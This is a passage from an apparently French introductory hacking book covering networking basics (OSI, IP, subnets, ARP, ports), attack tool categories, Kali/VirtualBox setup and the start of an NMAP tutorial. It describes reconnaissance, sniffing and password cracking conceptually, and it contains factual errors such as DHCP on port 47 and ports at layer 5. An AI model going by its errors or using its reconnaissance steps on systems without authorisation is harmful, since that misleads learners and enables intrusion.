De plus, vous en tirerez personnellement profit si vous comprenez le niveau du modèle OSI visé par les différentes attaques. Cette connaissance est fondamentale pour comprendre les adresses IP et les ports, que nous verrons plus loin dans ce chapitre.

D’abord, sachez que le modèle OSI comprend 7 couches différentes, comme suit :

7. Application - Une application informatique qui créée des données telles qu'un programme de courrier électronique ou de messagerie instantanée.

6. Présentation - Méthode de codage des données, telle que le texte ASCII.

5. Session - Ports TCP (FTP, POP, HTTP, HTTPS, etc.).

4. Transport - Connexions TCP ou UDP (entre autres).

3. Réseau - Adresses IP et paquets.

2. Data-Link - Adresses MAC.

1. Physique - Les 1 et les 0 (bits) transmis par un câble.

Voici une schématisation du modèle OSI : 

[image: osi_shema]
Nous constatons que cette liste peut sembler étrange car elle commence par le chiffre 7, mais la première couche du modèle est toujours représentée en bas. En effet, chaque couche supplémentaire dépend de sa couche subordonnée pour encapsuler et transmettre les données. 

Nous n’entrerons pas dans les détails de ce modèle, nous nous intéresserons surtout aux couches 2, 3, 4 et 5 du point de vue hacking. Cependant, vous avez besoin d’une compréhension de haut niveau du modèle OSI.

Chaque couche a sa propre fonction pour faciliter la transmission de données entre deux systèmes distants. Lorsque des données (telles que le texte dans une application de messagerie instantanée) sont générées sur un périphérique, elles commencent en haut du modèle OSI dans la couche d'application (couche 7) et sont acheminées à travers chaque couche subordonnée jusqu'à ce qu'elles deviennent des 0 et des 1 sur un câble au niveau de la couche physique (couche 1).
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Chaque couche encapsule les données à transmettre avant de les transmettre à la couche suivante pour une encapsulation ultérieure. Le processus fonctionne un peu comme les poupées russes. Une fois que les données ont atteint la couche physique, elles sont transmises sous forme de bits binaires sur un support physique (le câble). Ensuite, l'hôte destinataire décompresse les données encapsulées de chaque couche à l'aide du processus inverse.

Ce modèle est fondamental pour comprendre la transmission de données. Mais en quoi cela vous aidera-t-il à acquérir les compétences nécessaires au hacking ?

Premièrement, il est essentiel de comprendre ce modèle si vous souhaitez en savoir plus sur les différents protocoles réseau et les ports TCP/IP. De plus, la terminologie est souvent utilisée en ce qui concerne la fonction d’un périphérique ou d’un protocole et la couche du modèle OSI à laquelle il appartient. 

Par exemple, les adresses MAC sont une adresse de couche 2, tandis que les adresses IP sont une adresse de couche 3. Les ports (dont vous avez sûrement entendu parler auparavant) appartiennent à la couche 5.

Ainsi, nous allons approfondir tous ces concepts mais avant il est indispensable de connaître les adresses IP afin d’identifier différents hôtes lorsque vous faites du hacking. 

Note : Déjà fatigué ! Nous n’avons même pas encore commencé à être sérieux, c’est juste l’échauffement. Tenez bon ;).




2)  Les bases de l'adressage IP.

Parmi les concepts fondamentaux que nous traitons dans ce livre, l’adressage IP est de loin le plus important. Mais qu'est-ce qu'une adresse IP ? Eh bien, l’adresse IP est un numéro qui sert d’identifiant unique permettant aux ordinateurs de différencier les hôtes connectés à leur réseau. 

L'analogie la plus courante pour décrire ce concept est celle du système postal. Si vous souhaitez envoyer une lettre à quelqu'un (envoyer-lui des données), vous devez d’abord connaître l’adresse de son domicile (Adresse IP) avant que votre message puisse être remis. 

Que vous le saviez ou non, vous avez sans doute déjà vu des adresses IP. Ils se composent de quatre nombres allant de 0 à 255, séparés par des points, comme dans l'exemple suivant :

[image: image]192.168.1.1
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Notez aussi qu'une adresse IP a une longueur de 32 bits. Nous ne nous intéresserons pas aux mathématiques binaires car cela ne nous servira pas pour nos exemples de pénétration de réseau plus loin dans ce livre.  Cependant, sachez que chaque nombre séparé par un point dans l’adresse est appelé un « octet ». On l'appelle ainsi car chacun des quatre nombres a une longueur de 8 bits (1 octet). 

Cependant, cette adresse IP manque d’un élément appelé « masque de sous-réseau », nous ne savons donc pas à quel réseau elle appartient.


3)  Masques de sous-réseau.

Chaque adresse IP est composée de deux parties : 


●  La partie réseau de l'adresse.

●  La partie hôte de l’adresse. 


Un masque de sous-réseau détermine la quantité d'adresse IP qui définit un réseau et la quantité d'adresse identifiant un hôte sur ce sous-réseau. 

Pour le reste de ce livre, veuillez noter que je vais utiliser les termes LAN (réseau local) et sous-réseau de manière interchangeable. Examinez les quatre exemples suivants de masques de sous-réseau :


›  255.0.0.0 (/8) - 8 bits (le premier octet) définissent la partie réseau de l'adresse.

›  255.255.0.0 (/16) - 16 bits (les deux premiers octets) définissent la partie réseau de l'adresse.

›  255. 255. 255.0 (/24) - 24 bits (les trois premiers octets) définissent la partie réseau de l'adresse.

›  255. 255. 255. 255 (/32) - Ce masque de sous-réseau indique une adresse d'hôte. Il n’indique pas un sous-réseau.


Notez que les masques de sous-réseau peuvent être écrits en utilisant deux notations différentes. 

Prenons le premier exemple : 255.0.0.0 est simplement un autre moyen d'écrire "/8" car ils indiquent tous les deux que le premier octet de l'adresse IP (le premier octet ou les 8 premiers bits) décrit la partie réseau de l'adresse. 

Avez-vous remarqué que ces quatre masques de sous-réseau sont des multiples de 8 ? C'est intentionnel car cela rend notre exemple beaucoup plus facile. La vérité est qu'il existe de nombreux masques de sous-réseau plus complexes, tels que /17, /21 ou /30, qui sortent du cadre de ce livre car ils nécessitent des calculs binaires. Cependant, sur un réseau tels que l’environnement dans lequel vous testerez nos démos, un masque de sous-réseau /24 est de loin le plus courant. Je parierais même beaucoup que votre réseau domestique utilise un masque de sous-réseau /24. 

Autrement dit, à moins que vous ne le changiez - dans ce cas, vous connaissez déjà les sous-réseaux IP. 

Nous allons examiner ensemble une adresse IP et un masque de sous-réseau, déterminer les parties hôte et réseau de l'adresse, puis la plage complète d'adresses IP utilisables pour ce sous-réseau. Considérez ce qui suit :

[image: image]Adresse IP : 192.168.1.1

Masque de sous-réseau : 255.255.255.0

[image: image]Très bien, alors découpons l’adresse IP et définissons la partie réseau de l’adresse. Pouvez-vous y arriver ? Lorsque le masque de sous-réseau est appliqué à l'adresse IP, nous constatons que les 3 premiers octets déterminent le sous-réseau du réseau. Ainsi, 192.168.1.0/24 est le réseau sur lequel réside l'hôte avec l'adresse IP 192.168.1.1. 

Cela signifie que le dernier octet détermine la partie hôte de l'adresse. Sur le sous-réseau 192.168.1.0/24, cet hôte a l’adresse « 1 ». 

Ainsi, nous pouvons en conclure que chaque octet pouvant être compris entre 0 et 255, les autres hôtes du sous-réseau 192.168.1.0/24 peuvent utiliser des adresses comprises entre 2 et 255 (vous n'utilisez jamais l'adresse 0 ou 255). Les adresses utilisables sur ce sous-réseau incluent 192.168.1.2 - 192.168.1.254. 

Sachez que si l'hôte 192.168.1.1 envoie des données à l'hôte à l'aide de l'adresse 192.168.1.2, il communique via son réseau local puisqu'il appartient au même réseau.

Question : Alors, pourquoi n’utilisons-nous pas les adresses 0 ou 255 du sous-réseau comme adresses hôtes ? 

Eh bien, parce que ces deux adresses sont spéciales. La première s'appelle l'adresse réseau. Cette adresse ne peut pas être attribuée à un hôte car elle définit un réseau entier. Dans notre exemple ci-dessus, cette adresse était 192.168.1.0.

Notez aussi que la dernière adresse d’un sous-réseau est l’adresse de diffusion. Cette adresse est utilisée pour envoyer des informations à tous les hôtes résidant sur ce réseau en même temps. Ainsi, cette adresse ne peut pas non plus être utilisée pour une seule adresse d’hôte. Dans notre exemple précédent, l'adresse de diffusion est 192.168.1.255.




4)  LES Adresses MAC.

Les adresses MAC (Media Access Control) sont des adresses de couche 2 et sont uniques au monde. Chaque adresse MAC est contenue sur la carte réseau de votre ordinateur et est composée de douze chiffres hexadécimaux (0 à 9, A, B, C, D, E, F) d’une longueur totale de 48 bits. Voici un exemple d’adresse MAC :

[image: image]B8:EE: 65:25: 7E:A6
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La première moitié de l'adresse (les 6 premiers chiffres) indique le numéro OUI (Identificateur unique d'organisation). C’est une façon élégante de dire que cela indique qui a fabriqué le matériel de la carte réseau de votre carte réseau.

Les 6 derniers chiffres constituent un identifiant unique pour les cartes réseau de ce fabricant.

Les adresses MAC étant des adresses de couche 2 ne peuvent pas être routées sur Internet. Elles appartiennent à la couche liaison de données du modèle OSI et peuvent uniquement aider les périphériques à communiquer entre eux sur le même réseau local, via un commutateur réseau de couche 2. Pour que les adresses de couche 2 et 3 puissent fonctionner ensemble, nous avons besoin d’un mécanisme qui les lient.




5)  ARP (protocole de résolution d'adresse).

ARP est un protocole réseau qui lie les adresses de couche 2 aux adresses de couche 3. Tant les périphériques réseaux que les ordinateurs conservent des tables qui enregistrent les informations ARP sur le réseau local afin de pouvoir savoir quelles adresses MAC sont associées à quelles adresses IP. 

Ces informations changent à chaque fois que vous transportez votre ordinateur portable ou votre smartphone sur un nouveau réseau sans fil. Ces informations sont essentielles pour faciliter les types d'attaques, telles que les attaques de type homme du milieu (MITM).

Fondamentalement, lorsqu'un hôte veut envoyer des données à un autre ordinateur, il doit prendre certaines décisions concernant la manière dont il enverra les données. 

Voici comment cela fonctionne. D’abord, l'hôte examine sa propre adresse IP et détermine si l'hôte de destination réside sur le même sous-réseau. Sinon, l'hôte envoie ces informations à sa passerelle par défaut pour être acheminées vers le réseau approprié. L’hôte examinera sa table ARP, trouvera l’entrée correspondante pour la passerelle par défaut et adressera ses données à l’adresse MAC de la passerelle par défaut. 

Toutefois, si l'hôte de destination se trouve sur le même sous-réseau, il suffit de rechercher l'adresse MAC correspondante pour l'adresse IP de destination et de l'envoyer directement à la partie prévue.

[image: arp]

Si vous utilisez un système Windows ou Linux, vous pouvez utiliser la commande arp –a à partir de l'invite de commande pour afficher le contenu de votre cache ARP. 

ARP fait partie intégrante des réseaux modernes et de nombreux exploits avancés concernent la manipulation de ce protocole. Vous devez impérativement en avoir une compréhension de base.

[image: arp_a]




6)  Ports et pare-feu.

Les ports, également appelés parfois sockets, est l’un des concepts fondamentaux les plus importants dans ce domaine.

Fondamentalement, il s’agit de valeurs numériques faisant partie de la suite de protocoles TCP/IP utilisées pour baliser différents types de trafic. En balisant le trafic, les dispositifs tels que le pare-feu peuvent prendre différentes mesures lorsque différents flux de données transitent sur un réseau.

[image: ports]

Il existe littéralement des milliers de ports différents qui sont utilisés pour différents types de trafic et d'applications, mais seuls l’uns d'entre eux sont des protocoles bien connus. Certains développeurs de logiciels réservent certains ports pour le trafic de leurs applications personnalisées. Cependant, vous devez vous préoccuper uniquement des ports bien connus pour éviter toute intrusion. 

Il est essentiel que vous maîtrisiez les ports car nous analyserons ensuite les ports sur notre réseau local pour déterminer lesquels de ces ports sont ouverts et lesquels sont fermés.

Voici quelques-uns des ports les plus courants, ainsi que leurs protocoles et types de trafic respectifs :


›  Port 80: HTTP (Hyper Text Transfer Protocol) - utilisé pour la navigation sur le Web et les pages Web.

›  Port 20/21: FTP (protocole de transfert de fichier) - utilisé pour télécharger des fichiers à distance.

›  Port 443: HTTPS (protocole HTTP sécurisé crypté).

›  Port 22: SSH (Secure Shell) - utilisé pour exécuter à distance des taches de ligne de commande.

›  Port 53: DNS (système de nom de domaine) - utilisé pour lier des adresses IP à des URL.

›  Port 47 : serveur DHCP (protocole de configuration d'hôte dynamique) - attribution automatique d'adresse IP.


Comme vous pouvez le constater, chaque protocole réseau se voit attribuer son propre numéro de port unique. Ces ports permettent de gérer différents types de trafic différemment. 

Par exemple, si je ne souhaite pas que quelqu’un télécharge des fichiers d’un serveur de fichiers personnel que j’héberge sur mon réseau, je bloque les tentatives de connexion sur les ports 20 et 21 (FTP). 

[image: port_block]

Ceci est un exemple extrêmement basique. Sachez que si vous voyez un hôte avec un port ouvert, cet hôte acceptera les connexions utilisant ce type de trafic spécifique. 

Autre exemple, considérons un serveur Web hébergeant un site Web. Le port 80 (HTTP) ou le port 443 (HTTPS) est ouvert. Les clients peuvent établir une connexion sur ces ports avec le serveur pour télécharger les pages Web sur leur navigateur.

Ces idées nous amènent au prochain concept important : le pare-feu.

Le terme « pare-feu » est souvent utilisé dans les films mais la plupart des gens ne comprennent pas ce qu’ils font. Bien qu’ils disposent de nombreuses fonctionnalités avancées, l’une des fonctions la plus élémentaire d’un pare-feu est d’autoriser ou de refuser le trafic sur un réseau. 

Les pares-feux dans les environnements domestiques constituent un point de défaillance unique, ce qui signifie que toutes les données en transit vers/depuis le réseau local doivent d'abord passer par le pare-feu.

Parce qu'il agit comme la seule voie d'accès au réseau, le pare-feu peut empêcher les pirates informatiques de se connecter à des ports spécifiés pour protéger le réseau local.

[image: firewall_job]

Ce concept fait référence à un pare-feu matériel, mais il existe également des pares-feux logiciels. Par exemple, considérons simplement le programme nommé Pare-feu Windows. C'est un logiciel qui empêchera la carte réseau de votre ordinateur d'établir des connexions sur les ports que vous choisissez de bloquer. 

Nous verrons plus tard comment analyser un système cible avec un scanner de ports pour voir quels ports sont ouverts et potentiellement exploitables.

Vous devez également savoir exécuter un ping et afficher votre adresse IP, votre masque de sous-réseau et votre adresse MAC. Ce sont des commandes extrêmement simples, fréquemment utilisées par les professionnels de la sécurité réseau. Elles sont toutes exécutées à partir de l'invite de commande. 

Sous Windows, ouvrez la ligne de commande en la recherchant ou en appuyant sur la touche Windows, et en tapant "cmd".

Pour afficher votre adresse IP, votre masque de sous-réseau ainsi que votre passerelle par défaut, entrez simplement ipconfig dans l'invite de commande. 

[image: ipconfig]

D'autre part, si vous voulez voir votre adresse MAC, tapez simplement ipconfig /all dans l'invite de commade. 

[image: ipconfig_all]

Si vous utilisez un systéme Mac ou Linux, la commande n’est que légèrement différente. Sur ces systèmes, la commande est ifconfig.

[image: ifconfig]




EN RÉSUMÉ 

Nous aurions pu approfondir ces sujets mais il existe déjà des livres entiers sur certains de ces sujets et ils sont trop avancés pour un débutant. Ils sortent du cadre de ce livre. 

L'idée est de vous donner une connaissance pratique de ces idées afin de faciliter vos tentatives de hacking et de tests d'intrusion. Toutefois, si vous souhaitez approfondir vos connaissances sur ces concepts, cela ne fera que vous aider à devenir un meilleur hacker. Maintenant que vous savez quelles sont les adresses IP, les adresses MAC, les ports et les pares-feux, nous pouvons passer à des rubriques plus avancées.
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«NOTHING IS EVER

SECURE, THERE IS
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ALWAYS GOING TO BE

SOMEONE SMARTER THAN

YOU, AND WITH MORE

RESOURCES»

Ryan Dewhurst




Chapitre 6
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le kit du hacker

Les hackers ont dans leur kit beaucoup d’outils dont l’utilisateur moyen n’a même pas entendu parler. Ces outils ne sont ni incroyablement spéciaux ni secrets, mais la plupart des gens ne comprennent tout simplement pas ce qu’ils sont ou comment les utiliser. 

En vérité, il existe un tas d’outils qui peuvent être utilisés pour pénétrer dans un système ou pour identifier des vulnérabilités. Oh, et devinez quoi ? Beaucoup d’entre elles sont totalement libres d’utilisation !

Une des raisons pour lesquelles beaucoup de ces outils sont libres d’utilisation découle du fait que beaucoup d’outils ont été écrits pour Linux. La grande majorité des logiciels Linux sont gratuits car, ils sont protégés par la licence GPL.

Parmi les types d’outils de hacking les plus populaires que nous allons examiner de près dans ce guide, nous citons :


›  Scanner de Vulnérabilités : nous allons jeter un coup d’œil à celui qui est appelé « OpenVAS » plus loin dans ce livre.

›  Scanner de ports : nous verrons également comment utiliser le fameux scanner de port appelé NMAP.

›  Sniffers de paquets : ce logiciel écoute et enregistre toutes les informations circulant sur votre réseau. Nous en utiliserons un plus tard pour les démonstrations d’attaques man-in-the-middle (MITM).

›  Password crackers : ces outils sont utilisés pour découvrir le mot de passe d'un système. 


Bien que ce ne soit pas la liste exhaustive des outils qu'un hacker possède dans sa ceinture, il s'agit des plus populaires et les plus importants que vous avez besoin de connaître. 

Maintenant, examinons en détail chacun de ces types d’outils.




SCANNERS DE VULNÉRABILITÉS

À l’origine, les scanners de vulnérabilité ont été conçus pour aider les hackers à trouver des failles de sécurité potentielle dans leurs systèmes informatiques. Le but est de les combler avant qu’un pirate puisse trouver un moyen de pénétrer dans le système. 

Cependant, ces scanners peuvent être utilisés à bon et mauvais escients. Par exemple, les hackers black hat peuvent facilement utiliser un scanner de vulnérabilité pour trouver une faille dans un réseau, un serveur ou un hôte afin de faciliter une attaque. De plus, ces scanners sont faciles à utiliser. 

Bien que certains des ajustements et des modifications du scan que vous souhaitez effectuer puissent être un peu complexe, il vous suffit généralement de diriger le scanner vers une cible et de cliquer sur un bouton. 

Mais, un scanner de vulnérabilité n’est pas très dangereux en soi. Un hacker devra alors utiliser d’autres types de logiciels pour tirer parti des vulnérabilités détectées par le scanner.

En réalité, les scanners de vulnérabilité sont utilisés uniquement pour identifier les faiblesses, tout simplement.

Plus loin dans ce livre, nous allons passer en revue le processus d’installation d’un tel scanner appelé «OpenVAS». 

Nous allons l'installer dans un environnement Linux ; le processus d'installation est la partie la plus difficile. Une fois la démonstration terminée dans le livre, il vous suffit de fournir une adresse IP et de cliquer sur un seul bouton pour lancer le scan.

Parmi les avantages des scanners de vulnérabilité :


›  Aider à rendre les systèmes plus sûrs en identifiant les faiblesses qu'un administrateur ou expert en sécurité peut alors corriger.

›  Limiter le risque que les pirates profitent d'un système. 

›  La facilité d’utilisation. 


En revanche, il y a quelques inconvénients des scanners de vulnérabilité :


›  Parfois, ils ne sont pas parfaits et risquent de passer à côté des dernières vulnérabilités du système. 

›  Ils s'appuient en partie sur une base de données de vulnérabilité qui doit être mise à jour en permanence.

›  Les pirates (notamment les script kiddie) peuvent en profiter pour trouver des moyens de s'introduire dans un système.





Scanners de port

Un scanner de port est essentiellement un utilitaire permettant de déterminer les ports sur lesquels un hôte accepte les connexions. Par exemple, si je veux savoir si je peux accéder à une page Web à partir de n'importe quel hôte de mon réseau, j'analyse mon sous-réseau pour voir si des hôtes avaient le port 80 ouvert. Mais ceci est un exemple de base.

Les informations obtenues à partir d'un scanner de port peuvent aider les attaquants à lire entre les lignes et à déterminer l'objectif d'un hôte sur leurs réseaux. 

Par exemple, si un scanner de port a montré qu'un hôte avait le port 9100 ouvert, vous pouvez raisonnablement supposer que l'hôte que vous avez numérisé est une imprimante ou un serveur d'impression car, le port 9100 est utilisé pour l'impression. 

En identifiant les services qui s'exécutent sur un hôte, un hacker peut déterminer le type de serveur auquel il fait face ; s'il a ou non trouvé un périphérique d'infrastructure tel qu'un routeur, un commutateur ou un pare-feu, ou trouver des moyens d'attaquer les ordinateurs des utilisateurs finaux en établissant des connexions sur leurs ports actifs.

Maintenant, prenez un moment pour considérer les choses d’un point de vue “hacking”. Un hacker éthique pourrait utiliser un scanner de port pour vérifier que tous les ports d'un réseau qui doivent être fermés le sont réellement. C'est un outil de vérification utile qui peut être utilisé pour prévenir les vulnérabilités.




Scanners de couche 4

N'oubliez pas à quel point le modèle OSI est important. Il existe toute une classe de scanneurs ciblant spécifiquement la couche 4 (la couche de transport) du modèle OSI. 

Ces scanners recherchent des détails minutieux dans le fonctionnement des protocoles de couche 4 tels que TCP (Transmission Control Protocol) et UDP (User Datagram Protocol) afin de détecter les faiblesses des hôtes. 

En fait, le fonctionnement interne de ces protocoles est assez complexe, mais vous devez comprendre qu’il existe un processus appelé poignée de main (handshake) que deux hôtes effectuent avant de créer une connexion. 

[image: handshake]

En trompant et en manipulant le processus d'établissement de liaison, les attaquants peuvent causer de graves dommages aux systèmes sous la forme d'un déni de service (DOS), par lequel un attaquant casse la logique de ces protocoles pour empêcher un hôte ou un service de fonctionner ou gravement sous-performer.


Renifleurs de paquets (sniffers)

Les renifleurs de paquets sont des outils inestimables. Ils sont capables de capturer, de stocker et d'afficher toutes les informations qui circulent sur un câble ou un support de transmission, tel qu'une interface sans fil. En utilisant un renifleur de paquets, vous pourrez voir en détail toutes les conversations que les ordinateurs ont entre eux.

Vous pouvez voir les tentatives de connexion, les transferts de fichiers et même les recherches Google. Les renifleurs de paquets sont particulièrement dangereux lorsque les données sont envoyées en texte brut. C’est une manière de dire que les données ne sont pas cryptées avant d’être envoyées à un autre hôte. 

Par exemple, si votre nom d’utilisateur et mot de passe n’ont pas été chiffrés avant d’être envoyés à un serveur, l’attaquant peut exploiter un renifleur de paquet pour capturer ces données et voler votre nom d'utilisateur ainsi que votre mot de passe.

[image: wireshark0].

Mais certains renifleurs de paquets tels que Wireshark sont difficiles à lire pour les débutants car, ils ne comprennent pas le fonctionnement des différents protocoles. 

Un renifleur de paquet montrera à un attaquant les détails essentiels des données brutes d'un flux de trafic. Plus spécifiquement, il peut vous montrer l’adresse IP d’un hôte qui a initié une connexion, comment un autre hôte a répondu à la tentative de connexion, toutes les données qui ont été envoyées au cours de la session et quel type de données circule sur la connexion via son numéro de port.

Vous vous êtes déjà demandé comment les ISPs pouvaient voir quel type de données circulait sur leur réseau ? Et déterminer quels hôtes visitaient des sites Web spécifiques ? Les renifleurs de paquets ne sont qu'un outil parmi d'autres qu'ils utilisent pour atteindre cet objectif :).




Utilitaires de crackage de mots de passe

Les hackers utilisent fréquemment des outils pour cracker les mots de passe afin d’obtenir un accès non autorisé à des systèmes informatiques. 

Le terme "cracking" est essentiellement un terme utilisé pour décrire le processus d'obtention d'un mot de passe caché ou stocké dans un format protégé.

Par exemple, il existe des outils de cracking des mots de passe sans fil qui permettent à un attaquant d'obtenir la clé d'un réseau Wi-Fi sans avoir besoin de connaître le mot de passe à l'avance.

Mais il existe de nombreuses méthodes utilisées par ces utilitaires. Certaines personnes ont déjà entendu parler d’une attaque par force brute, qui peut durer longtemps. 

Dans le processus de force brute, un ordinateur essaiera de deviner tous les mots de passe imaginable pour accéder à un système en essayant chaque combinaison unique de caractères.

En outre, il existe également des attaques basées sur un dictionnaire qui sont utiles pour cracker des mots de passe faible. Ces types d'attaques adoptent une approche plus pragmatique pour déchiffrer un mot de passe car, ils essaient des mots de passe, basés sur un dictionnaire de phrases courantes. 

Généralement, un attaquant tentera une attaque par dictionnaire car, il y a plus de chance de déchiffrer un mot de passe contrairement à une attaque en force brute. 

Les attaques par force brute ont un point faible majeur : elles peuvent être extrêmement lentes à cause des millions de combinaisons dont elles ont besoin pour déchiffrer un mot de passe. Le processus peut durer plusieurs jours voire plusieurs années. 

En revanche, les attaques basées sur un dictionnaire sont généralement beaucoup plus rapides car elles ne disposent pas d’un nombre aussi élevé de combinaisons de mots de passe à tenter.


«COMPUTERS AND THE

Internet WERE BUILT

WITHOUT THE IDEA

THAT THEY WOULD ONE
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DAY BE ATTACKED.
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WE STILL HAVE A LONG

WAY TO GO»


Daniel Crowley
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Utiliser Virtualbox

L’utilisation de Virtualbox est le moyen le plus simple pour créer différents environnements afin que vous puissiez exercer le hacking dans un environnement contrôlé.

Mais que fait réellement ce logiciel ? Virtualbox vous permet de créer des «machines virtuelles». Il a essentiellement le pouvoir de virtualiser des systèmes d’exploitation complets afin que vous n’ayez pas à effacer le système d’exploitation de votre ordinateur hôte. Il vous évite d’en installer un nouveau pour commencer le hacking (sinon cela serait compliqué).

Parfois, les débutants voulant se lancer dans le hacking essayent d’installer un système d'exploitation comme Kali Linux ; en plus de leurs systèmes d'exploitation hôte tel que Windows, on appelle cela « dualboot ».

Mais le seul problème lors d’une telle installation, est qu'une erreur de configuration pourrait amener un utilisateur à se verrouiller complètement en dehors de son système d'exploitation Windows.

Quelques fois, ils peuvent même repartitionner accidentellement le disque dur et effacer tous les anciens fichiers. C'est un casse-tête énorme, mais l'installation de virtualbox résoudra ces problèmes et vous permettra d'exécuter plusieurs systèmes d'exploitation simultanément.

La bonne nouvelle est que Virtualbox est gratuit et facile à installer. Vous pouvez trouver les notes de publication et le lien de téléchargement pour Virtualbox sur le site Web officiel.

Je vais supposer que vous avez la possibilité d’installer des logiciels de base. C’est très simple, il suffit de suivre l’assistant d’installation. Vous pouvez également installer ce logiciel sur différentes plates-formes et les étapes d'installation changent selon le système d’exploitation.

Une fois que vous avez téléchargé et installé Virtualbox, vous devez télécharger les images du système d’exploitation à virtualiser.

Plus précisément, vous devrez aller télécharger l’image de Kali Linux. Tout est disponible gratuitement sur le site officiel de Kali (www.kali.org).

Une fois l’image téléchargée et installée dans Virtualbox, l’application suivra la procédure d’installation comme si vous essayez d’installer ce système d’exploitation sur votre ordinateur en primaire, mais dans l’environnement de votre hôte.

Au cours du processus d'installation, des parties de la procédure vous demanderont si vous souhaitez installer divers packages. Assurez-vous de sélectionner tous les packages décrits comme ‘Sécurité’ ou ‘tests de pénétration’.

Ubuntu est conçu pour être un remplacement facile à utiliser pour d'autres systèmes d'exploitation de bureau tels que Windows. Il est bien adapté à une utilisation quotidienne et vous n’avez pas besoin d’être un expert Linux pour l’utiliser. Ainsi, c’est un excellent environnement pour développer vos compétences Linux.

Kali a été spécialement conçu pour le hacking et les packages de sécurité contenus dans l’image Virtualbox sont principalement fait pour fournir aux utilisateurs des outils qui facilitent leurs travaux. Cependant, il est un peu plus difficile à utiliser si vous n’êtes pas déjà exposé à Linux, vue que sa puissance est disponible sur la ligne de commande.

Note : Kali est gourmand en termes de ressources matérielles (RAM et CPU). Si vous n’avez pas la configuration qui supporte cette technologie, vous pouvez switcher vers Parrot OS qui est une très bonne alternative de Kali car la procédure d’installation est presque la même.

Chaque distribution Linux a un nom d’utilisateur et un mot de passe par défaut. Vous pouvez vérifier les valeurs par défaut sur le site Web sur lequel vous avez téléchargé l'image, mais il s'agit généralement de «root» et «toor».

Bien que je vous recommande personnellement, de tirer pleinement parti de Virtualbox pour virtualiser les systèmes d'exploitation Linux, afin de vous fournir des outils de hacking. Vous disposez d'une alternative (si jamais vous avez une machine qui date de 1900).

De nombreuses distributions Linux peuvent être téléchargées et gravées sur un CD ou un DVD. Celles-ci sont appelées images de « démarrage en direct » car tout ce que vous avez à faire est de faire apparaître le disque dans votre ordinateur, de le redémarrer et le tour est joué. Votre ordinateur démarrera sur le système d'exploitation Linux contenu sur le disque. Certaines versions de Linux sont si petites et légères que vous pouvez même démarrer à partir d’un lecteur flash.

Cependant, il y a une mise en garde avec ces images de démarrage en direct. Votre ordinateur peut être configuré ou non, pour démarrer à partir du disque dur avant le lecteur de disque ou le port USB. Si c’est le cas pour votre ordinateur, vous devez d’abord modifier l’ordre de démarrage de ces périphériques.

Il est un peu difficile d’expliquer cette procédure car chaque marque et modèle d’ordinateurs a son propre processus de configuration. Une simple recherche Google sur votre modèle vous donnera la réponse.

Personnellement, je préfère Virtualbox car je peux basculer entre mon système d'exploitation hôte (Linux dans mon cas) et mes machines virtuelles sans avoir à redémarrer mon ordinateur.

Enfin, si vous souhaitez vous initier au hacking, je vous conseille vivement de prendre le temps nécessaire à la configuration de votre environnement Linux. La plupart des démos que nous allons exécuter dans ce livre proviendront de ce système d’exploitation.

Même si de nombreuses versions de ces outils fonctionnent sous Windows, Linux reste l’environnement d’exploitation préféré des hackers. En effet, il est plus sécurisé et  il offre un accès à davantage de code et d’outils de hacking que Windows.


[image: image]


Introduction aux balayages de ping et scan de port

Dans cette partie, je vais vous expliquer comment effectuer des techniques de reconnaissance et de numérisation réseau à l'aide d'un programme appelé « NMAP ». 

C’est le programme que les hackers aiment afficher dans les films et il est assez facile à utiliser. 

L’intérêt de NMAP est qu’il permet de détecter un réseau et de l’analyser pour découvrir les périphériques actifs, les ports ouverts et d’autres informations essentielles comme le système d’exploitation exécuté par l’hôte. Dans le monde de la pénétration du réseau, nous parlons de cartographie de réseau, d'empreinte ou de reconnaissance. 

Sans ces outils sur un réseau donné, vous êtes aveugle et vous aurez du mal à attaquer quoi que ce soit car vous ne pourrez voir aucune cible. 

Pensez également à quel point il est important de connaître le système d'exploitation utilisé par un hôte. Les exploits vont et viennent et de nouveaux font surface constamment comme de nouveaux systèmes d'exploitation sont développés ou des correctifs sont appliqués. 

Par exemple, avec chaque nouvelle version de Windows, il existe d'innombrables failles de sécurité qui sont lentement identifiées et corrigées au fil du temps. En connaissant la version du système d'exploitation sur un hôte, vous pouvez utiliser un outil tel que Metasploit pour rechercher des vulnérabilités actives et les exploiter.

Une fois qu'un attaquant a accès à un réseau, il peut effectuer beaucoup de choses pour préparer une attaque. 

Voici quelques-uns des plus courants :


›  Collecter des informations.

›  Rechercher la structure d’adresse IP du sous-réseau local.

›  Rechercher des périphériques réseau tels qu'un routeur, un commutateur ou un pare-feu.

›  Identifier les hôtes actifs sur le réseau tels que les postes de travail des utilisateurs.

›  Découvrir les ports ouverts et les points d'accès.

›  En savoir plus sur les systèmes d'exploitation des machines actives.

›  Découvrir le type de périphérique tel qu'un ordinateur portable, une tablette, un smartphone ou un serveur.

›  Mapper le réseau local.

›  Capture du trafic réseau.


Même si vous n’avez pas de diplômes en informatique, les logiciels Linux et les programmes de pénétration de réseau deviennent si sophistiqués qu’il est simple de bien mener ces tâches d’empreinte écologique. D’ailleurs, c’est pour cette raison que nous voyons une augmentation du nombre des script kiddies. Vous avez seulement besoin d’un système Linux, d’un bon logiciel, d'une compréhension rudimentaire des concepts de réseau et d'un guide. 

La suite de ce chapitre se concentrera sur l'utilisation de NMAP afin d’identifier et de cartographier un réseau. Contrairement au vieil adage, pensez à essayer chez vous ! 




Installation de NMAP

Avant de commencer, il reste une dernière chose à faire pour configurer la connectivité de Virtualbox. En effet, il utilise l’idée de cartes réseau virtualisées et le paramètre par défaut ne place pas votre machine virtuelle dans le même sous-réseau que votre système d’exploitation hôte. 

Cliquez simplement sur l’onglet ‘Paramètres’ de l’application Virtualbox et recherchez l’option de configuration de votre ‘interface réseau’. Sélectionnez ensuite l’option pour la passer en mode ponté.

[image: vbox_network]

Pour vérifier que votre système d'exploitation hôte et votre système d'exploitation Virtualbox se trouvent sur le même sous-réseau, exécutez la commande ipconfig à partir de la ligne de commande Windows ou de la commande ifconfig sur les systèmes Linux et Mac. Ensuite, assurez-vous qu'ils correspondent et appartiennent au même sous-réseau.

Pour commencer ces démonstrations, vous allez lancer Virtualbox et démarrer votre système Linux virtuel. NMAP devrait déjà être installé si vous avez sélectionné les paquets de sécurité comme recommandé précédemment. Si vous ne l’avez pas fait, sachez qu’il est très simple de l’installer.

Ouvrez le terminal dans votre distribution Linux (Kali ou Ubuntu), puis exécutez la commande suivante pour savoir si NMAP a été installé avec succès.

[image: image]nmap—version
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[image: nmap_version]

